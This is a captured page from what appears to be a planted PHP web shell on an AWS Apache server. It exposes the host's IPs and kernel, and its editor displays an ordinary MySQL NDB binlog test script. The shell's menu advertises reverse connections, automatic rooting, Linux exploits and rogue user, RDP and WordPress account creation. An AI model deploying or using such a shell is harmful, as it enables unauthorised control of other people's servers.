Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.224.70.193
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
mysql /
mysql-test /
suite /
ndb_binlog /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
binlog_multi_engine.test
3.44
KB
-rw-r--r--
disabled.def
405
B
-rw-r--r--
ndb_binlog_basic.test
4.89
KB
-rw-r--r--
ndb_binlog_check_binlog_index....
8.88
KB
-rw-r--r--
ndb_binlog_cmp_epoch_vals.inc
1.51
KB
-rw-r--r--
ndb_binlog_ddl_multi.test
3.9
KB
-rw-r--r--
ndb_binlog_default_format-mast...
10
B
-rw-r--r--
ndb_binlog_default_format.cnf
663
B
-rw-r--r--
ndb_binlog_default_format.test
576
B
-rw-r--r--
ndb_binlog_discover.test
1.85
KB
-rw-r--r--
ndb_binlog_discover_multi.test
2.37
KB
-rw-r--r--
ndb_binlog_eventbuffer.test
699
B
-rw-r--r--
ndb_binlog_flush_log_waits.tes...
1.86
KB
-rw-r--r--
ndb_binlog_flush_tables_with_r...
5.47
KB
-rw-r--r--
ndb_binlog_format.test
1.37
KB
-rw-r--r--
ndb_binlog_get_binlog_stmts.in...
122
B
-rw-r--r--
ndb_binlog_get_binlog_stmts_ba...
2.91
KB
-rw-r--r--
ndb_binlog_get_row_extra_data....
1.02
KB
-rw-r--r--
ndb_binlog_ignore_db-master.op...
53
B
-rw-r--r--
ndb_binlog_ignore_db.test
2.39
KB
-rw-r--r--
ndb_binlog_index.test
2.61
KB
-rw-r--r--
ndb_binlog_index_test_schema_i...
4.13
KB
-rw-r--r--
ndb_binlog_init_epoch_vals.inc
355
B
-rw-r--r--
ndb_binlog_last_commit_epoch.t...
2.23
KB
-rw-r--r--
ndb_binlog_log_apply_status.te...
1.88
KB
-rw-r--r--
ndb_binlog_log_bin.test
1.53
KB
-rw-r--r--
ndb_binlog_log_reads.cnf
1
KB
-rw-r--r--
ndb_binlog_log_reads.test
18.2
KB
-rw-r--r--
ndb_binlog_log_transaction_id-...
59
B
-rw-r--r--
ndb_binlog_log_transaction_id....
3.25
KB
-rw-r--r--
ndb_binlog_manual_apply.cnf
61
B
-rw-r--r--
ndb_binlog_manual_apply.test
1.79
KB
-rw-r--r--
ndb_binlog_multi.test
3.4
KB
-rw-r--r--
ndb_binlog_purge-master.opt
77
B
-rw-r--r--
ndb_binlog_purge.test
2.71
KB
-rw-r--r--
ndb_binlog_restore.test
5.16
KB
-rw-r--r--
ndb_binlog_size_based_rotate.t...
597
B
-rw-r--r--
ndb_binlog_test_conflict_flags...
3.63
KB
-rw-r--r--
ndb_binlog_unique_epoch.cnf
164
B
-rw-r--r--
ndb_binlog_unique_epoch.test
3.86
KB
-rw-r--r--
ndb_binlog_variants.cnf
975
B
-rw-r--r--
ndb_binlog_variants.test
10.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_binlog_variants.test
# The include statement below is a temp one for tests that are yet to #be ported to run with InnoDB, #but needs to be kept for tests that would need MyISAM in future. --source include/force_myisam_default.inc ######################################################## # Test binlog variants produced by Ndb # # 1) Updates logged as write_row events # Only primary key and updated columns included in the # event # 2) Updates logged as write_row_events # All columns included in the event # 3) Updates logged as update_row events # Only primary key and updated columns included in the # event # 4) Updates logged as update_row events # All columns included in the event # # Format variant (1) is the Ndb default. # # We use mysqlbinlog --verbose to check that the # generated binlog contents are as expected. # ######################################################## -- source include/have_ndb.inc -- source include/have_binlog_format_row.inc # Setup connections connect(mysqld1,127.0.0.1,root,,test,$MASTER_MYPORT); connect(mysqld2,127.0.0.1,root,,test,$MASTER_MYPORT1); connect(mysqld3,127.0.0.1,root,,test,$MASTER_MYPORT2); connect(mysqld4,127.0.0.1,root,,test,$MASTER_MYPORT3); connection mysqld1; # Create the table we're going to use create table ba(ks int primary key, st int, lp int) engine = ndb; # Wait for each mysqld to startup binlogging --let $source_server=mysqld1 --let $dest_server=mysqld2 source suite/ndb_rpl/t/wait_schema_logging.inc; --let $source_server=mysqld1 --let $dest_server=mysqld3 source suite/ndb_rpl/t/wait_schema_logging.inc; --let $source_server=mysqld1 --let $dest_server=mysqld4 source suite/ndb_rpl/t/wait_schema_logging.inc; --disable_query_log connection mysqld1; reset master; connection mysqld2; reset master; connection mysqld3; reset master; connection mysqld4; reset master; --enable_query_log connection mysqld1; # Now make the inserts and update insert into ba values (1, 1, 1), (2,2,2), (3,3,3), (4,4,4); update ba set lp=40 where ks=4; # Update does not affect all columns delete from ba where ks=2; # Also a delete for fun --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Now let's trim the Binlogs on each server connection mysqld1; --source include/wait_for_binlog_event.inc flush logs; connection mysqld2; --source include/wait_for_binlog_event.inc flush logs; connection mysqld3; --source include/wait_for_binlog_event.inc flush logs; connection mysqld4; --source include/wait_for_binlog_event.inc flush logs; # Empty the table delete from ba; # Now let's examine the contents of the first binlog # on each server # We'll also apply the Binlog and check that the # table contents are as expected in each case. # As each server is recording in a new binlog, the # new updates will go there. connection mysqld1; show variables like 'ndb_log_update%'; --source suite/ndb_binlog/t/ndb_binlog_get_binlog_stmts.inc --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from ba order by ks; delete from ba; connection mysqld2; show variables like 'ndb_log_update%'; --source suite/ndb_binlog/t/ndb_binlog_get_binlog_stmts.inc --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from ba order by ks; delete from ba; connection mysqld3; show variables like 'ndb_log_update%'; --source suite/ndb_binlog/t/ndb_binlog_get_binlog_stmts.inc --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from ba order by ks; delete from ba; connection mysqld4; show variables like 'ndb_log_update%'; --source suite/ndb_binlog/t/ndb_binlog_get_binlog_stmts.inc --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from ba order by ks; drop table ba; --disable_query_log flush logs; --enable_query_log # Bug#46662 # Replicating changes to tables with unique indexes # The fix to bug#27378 results in the slave using NdbApi's write() # mechanism when applying WRITE_ROW events to tables with unique # indices. # # If this is not done then the slave attempts to partially use SQL # REPLACE semantics when applying WRITE_ROW events to tables with # unique indexes, which is not good and the slave fails with a # duplicate key error on the primary key. # # The fix to Bug#46662 aims to correct this, so that replicated # updates to tables with unique indices can work. # Note that other issues with replicating into tables with unique # indexes remain. # connection mysqld1; reset master; show variables like 'ndb_log_update%'; create table bah (tst int primary key, cvy int, sqs int, unique(sqs)) engine=ndb; insert into bah values (1,1,1); # Wait for epoch to complete in Binlog --disable_query_log create table dummy (a int primary key) engine=ndb; --enable_query_log # Now perform update # This will be logged as WRITE # Without ability to use NdbApi write() for replace, mysqlbinlog # application will fail with duplicate key error on insert. update bah set cvy= 2 where tst=1; select * from bah order by tst; # Wait for epoch to complete in Binlog --disable_query_log drop table dummy; flush logs; --enable_query_log drop table bah; # Now let's re-apply the binlog # Without fix, this fails with duplicate PK error --echo Manually applying captured binlog --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000001 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from bah order by tst; drop table bah; # Bug #14615095 ERROR 839 'ILLEGAL NULL ATTRIBUTE' WHEN REPLAYING BINLOG # When applying WRITE_ROW events to tables where the rows are missing # any errors should be ignored connection mysqld1; reset master; show variables like '%log_update%'; CREATE TABLE `t1` ( `charId` varchar(60) NOT NULL, `enumId` enum('A','B','C') NOT NULL, `val` bigint(20) NOT NULL, `version` int(11) NOT NULL, PRIMARY KEY (`charId`,`enumId`) ) ENGINE=ndbcluster DEFAULT CHARSET=latin1; INSERT INTO t1 VALUES ('', 'A', 0, 1); --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until the INSERT statement is confirmed to have made it into the current binary log --source include/wait_for_binlog_event.inc FLUSH LOGS; UPDATE t1 SET val = val + 1 WHERE charId = ''; --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until the UPDATE statement is confirmed to have made it into the current binary log --let $wait_binlog_file=mysqld-bin.000002 --source include/wait_for_binlog_event.inc FLUSH LOGS; DELETE FROM t1 WHERE charId = ''; --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until the DELETE statement is confirmed to have made it into the current binary log --let $wait_binlog_file=mysqld-bin.000003 --source include/wait_for_binlog_event.inc FLUSH LOGS; # Now let's re-apply the binlog from the UPDATE # Without fix, this fails with 'Illegal null attribute' --echo Manually applying captured binlog --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000002 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log # Check that the table is still empty select * from t1; drop table t1; # Bug #14678088 CAN'T FIND RECORD IN # We need to be idempotent when applying binlog # test insert of existing row, update and delete # of non-existing row connection mysqld1; reset master; show variables like '%log_update%'; create table t1 (pk int not null primary key, name varchar(256)) engine = ndb; --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until all statements are confirmed to have made it into the current binary log --let $wait_binlog_file=mysqld-bin.000001 --source include/wait_for_binlog_event.inc FLUSH LOGS; insert into t1 values (0, "zero"),(1,"one"),(2,"two"),(3,"three"),(4,"four"),(5,"five"),(6,"six"),(7,"seven"),(8,"eight"),(9,"nine"); select * from t1 order by pk; update t1 set name = "even" where pk in (0,2,4,6,8); update t1 set name = "odd" where pk in (1,3,5,7,9); delete from t1 where name = "odd"; select * from t1 order by pk; --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until all statements are confirmed to have made it into the current binary log --let $wait_binlog_file=mysqld-bin.000002 --source include/wait_for_binlog_event.inc FLUSH LOGS; truncate t1; insert into t1 values (0, "zero"),(1,"one"),(2,"two"),(3,"three"),(4,"four"),(5,"five"),(6,"six"),(7,"seven"),(8,"eight"),(9,"nine"); select * from t1 order by pk; --disable_query_log # Add an event-stream marker create table stream_marker(a int) engine=ndb; drop table stream_marker; --let $wait_binlog_event=stream_marker --enable_query_log # Wait until all statements are confirmed to have made it into the current binary log --let $wait_binlog_file=mysqld-bin.000003 --source include/wait_for_binlog_event.inc FLUSH LOGS; # Now let's re-apply the binlog INSERT,UPDATE,DELETE # Without fix, this fails with 'Illegal null attribute' --echo Manually applying captured binlog --disable_query_log let $MYSQLD_DATADIR= `select @@datadir;`; --exec $MYSQL_BINLOG $MYSQLD_DATADIR/mysqld-bin.000002 > $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --exec $MYSQL -uroot < $MYSQLTEST_VARDIR/tmp/ndb_binlog_mysqlbinlog.sql --enable_query_log select * from t1 order by pk; drop table t1;
Close